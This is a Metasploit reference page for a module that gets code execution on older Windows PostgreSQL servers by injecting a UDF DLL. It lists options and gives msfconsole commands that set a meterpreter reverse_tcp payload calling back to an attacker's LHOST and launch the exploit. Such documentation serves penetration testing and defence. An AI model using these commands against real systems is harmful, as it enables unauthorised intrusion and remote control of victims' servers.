PostgreSQL for Microsoft Windows Payload Execution | Metasploit Exploit Database (DB)

PostgreSQL for Microsoft Windows Payload Execution

This module creates and enables a custom UDF (user defined function) on the target host via the UPDATE pg_largeobject method of binary injection. On default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres service account may write to the Windows temp directory, and may source UDF DLL's from there as well. PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are valid targets for this module. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL and the OID.

Search Other Modules


Exploit Rank

  • Excellent

Exploit Authors

  • Bernardo Damele A. G. < bernardo.damele [at] gmail.com >
  • todb < todb [at] metasploit.com >

Exploit Targets

  • 0 - Automatic (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/postgres/postgres_payload
msf exploit(postgres_payload) > show payloads
msf exploit(postgres_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(postgres_payload) > set LHOST [MY IP ADDRESS]
msf exploit(postgres_payload) > set RHOST [TARGET IP]
msf exploit(postgres_payload) > exploit


Exploit Module Options

DATABASE The database to authenticate against (default: template1)
PASSWORD The password for the specified username. Leave blank for a random password. (default: )
RHOST The target address
RPORT The target port (default: 5432)
USERNAME The username to authenticate as (default: postgres)
VERBOSE Enable verbose output
ContextInformationFile The information file that contains context information
DECODERSTUB The VBS base64 file decoder stub to use.
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session